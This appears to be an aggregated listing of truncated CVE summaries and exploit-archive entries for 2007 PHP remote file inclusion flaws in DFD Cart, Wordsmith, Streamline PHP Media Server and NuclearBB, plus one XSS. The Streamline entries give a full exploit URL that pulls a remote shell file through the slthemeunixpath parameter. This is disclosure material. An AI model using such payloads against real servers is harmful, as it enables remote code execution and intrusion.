CVE-2007-5102

PHP remote file inclusion vulnerability in config.inc.php in Wordsmith 1.0 RC1, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the path parameter...

CVE-2007-5098

DFD Cart is affected by multiple PHP remote file inclusion flaws in version 1.1.4 and earlier when register_globals is on. The vulnerability allows an attacker to craft a URL for set_depth that causes inclusion of arbitrary PHP code via specific target paths in app.lib/product.control/core.php/pr...

CVE-2007-5103

The CVE-2007-5103 entry describes a directory traversal in Wordsmith 1.0 RC1’s config.inc.php when register_globals is on. An attacker can craft a .. payload in the _path parameter to cause inclusion and execution of local files. The vulnerability arises from insufficient validation of the path, ...

CVE-2007-5098

Multiple PHP remote file inclusion vulnerabilities in DFD Cart 1.1.4 and earlier, when registerglobals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the setdepth parameter to 1 app.lib/product.control/core.php/product.control.config.php, or 2 customer.browse.list.p...

dfdcart-rfi.txt

DFD Cart 1.1 Multiple Remote File Inclusion Vulnerabilities Vulnerability Type: Remote File Inclusion Vulnerable file: /dfdcart/app.lib/product.control/core.php/product.control.config.php Exploit URL:...

CVE-2007-5072

CVE-2007-5072 affects the Simple PHP Blog (SPHPBlog) prior to version 0.5.1. The root cause is cross-site scripting (XSS) vulnerabilities that occur when register_globals is enabled, allowing remote attackers to inject arbitrary web script or HTML via certain user_colors array parameters to files...

DFD Cart 1.1 - Multiple Remote File Inclusions

DFD Cart 1.1 Multiple Remote File Inclusion Vulnerabilities Vulnerability Type: Remote File Inclusion Vulnerable file: /dfdcart/app.lib/product.control/core.php/product.control.config.php Exploit URL:...

DFD Cart 1.1 Multiple Remote File Inclusion Vulnerabilities

No description provided by source. DFD Cart 1.1 Multiple Remote File Inclusion Vulnerabilities Vulnerability Type: Remote File Inclusion Vulnerable file: /dfdcart/app.lib/product.control/core.php/product.control.config.php Exploit URL:...

DFD Cart 1.1 Multiple Remote File Inclusion Vulnerabilities

Exploit for unknown platform in category web applications =========================================================== DFD Cart 1.1 Multiple Remote File Inclusion Vulnerabilities =========================================================== DFD Cart 1.1 Multiple Remote File Inclusion Vulnerabilities...

DFD Cart 1.1 - Multiple Remote File Inclusions

DFD Cart 1.1 - Multiple Remote File Inclusions DFD Cart 1.1 Multiple Remote File Inclusion Vulnerabilities Vulnerability Type: Remote File Inclusion Vulnerable file: /dfdcart/app.lib/product.control/core.php/product.control.config.php Exploit URL:...

streamline-rfi.txt

Vulnerability Type: Remote File Inclusion Vulnerable file: /streamline-1.0-beta4/src/core/theme/includes/accountfooter.php Exploit URL: http://localhost/streamline-1.0-beta4/src/core/theme/includes/accountfooter.php?slthemeunixpath=http://localhost/shell.txt? Method: get Registerglobals: On...

Streamline PHP Media Server 1.0-beta4 RFI Vulnerability

No description provided by source. Vulnerability Type: Remote File Inclusion Vulnerable file: /streamline-1.0-beta4/src/core/theme/includes/accountfooter.php Exploit URL: http://localhost/streamline-1.0-beta4/src/core/theme/includes/accountfooter.php?slthemeunixpath=http://localhost/shell.txt?...

Streamline PHP Media Server 1.0-beta4 - Remote File Inclusion

Vulnerability Type: Remote File Inclusion Vulnerable file: /streamline-1.0-beta4/src/core/theme/includes/accountfooter.php Exploit URL: http://localhost/streamline-1.0-beta4/src/core/theme/includes/accountfooter.php?slthemeunixpath=http://localhost/shell.txt? Method: get Registerglobals: On...

Streamline PHP Media Server 1.0-beta4 - Remote File Inclusion

Streamline PHP Media Server 1.0-beta4 - Remote File Inclusion Vulnerability Type: Remote File Inclusion Vulnerable file: /streamline-1.0-beta4/src/core/theme/includes/accountfooter.php Exploit URL:...

Streamline PHP Media Server 1.0-beta4 RFI Vulnerability

Exploit for unknown platform in category web applications ======================================================= Streamline PHP Media Server 1.0-beta4 RFI Vulnerability ======================================================= Vulnerability Type: Remote File Inclusion Vulnerable file:...

CVE-2007-4906

CVE-2007-4906 affects NuclearBB Alpha 2 and its file tasks/send_queued_emails.php . The vulnerability is a PHP remote file inclusion triggered when register_globals is enabled, allowing an attacker to execute arbitrary PHP code by supplying a URL in the root_path parameter. The connected document...

NuclearBB Alpha 2 (root_path) Remote File Inclusion Vulnerability

No description provided by source. Vuln Product: NuclearBB Alpha 2 Vendor: http://www.nuclearbb.com/ Vulnerability Type: Remote File Inclusion Autor: Infection Team: Rootshell Security Team Vulnerable file: /NuclearBB/tasks/sendqueuedemails.php Exploit URL:...

nuclearbb-rfi.txt

Vuln Product: NuclearBB Alpha 2 Vendor: http://www.nuclearbb.com/ Vulnerability Type: Remote File Inclusion Autor: Infection Team: Rootshell Security Team Vulnerable file: /NuclearBB/tasks/sendqueuedemails.php Exploit URL:...

NuclearBB Alpha 2 - 'ROOT_PATH' Remote File Inclusion

Vuln Product: NuclearBB Alpha 2 Vendor: http://www.nuclearbb.com/ Vulnerability Type: Remote File Inclusion Autor: Infection Team: Rootshell Security Team Vulnerable file: /NuclearBB/tasks/sendqueuedemails.php Exploit URL:...

NuclearBB Alpha 2 - ROOT_PATH Remote File Inclusion

NuclearBB Alpha 2 - ROOTPATH Remote File Inclusion Vuln Product: NuclearBB Alpha 2 Vendor: http://www.nuclearbb.com/ Vulnerability Type: Remote File Inclusion Autor: Infection Team: Rootshell Security Team Vulnerable file: /NuclearBB/tasks/sendqueuedemails.php Exploit URL:...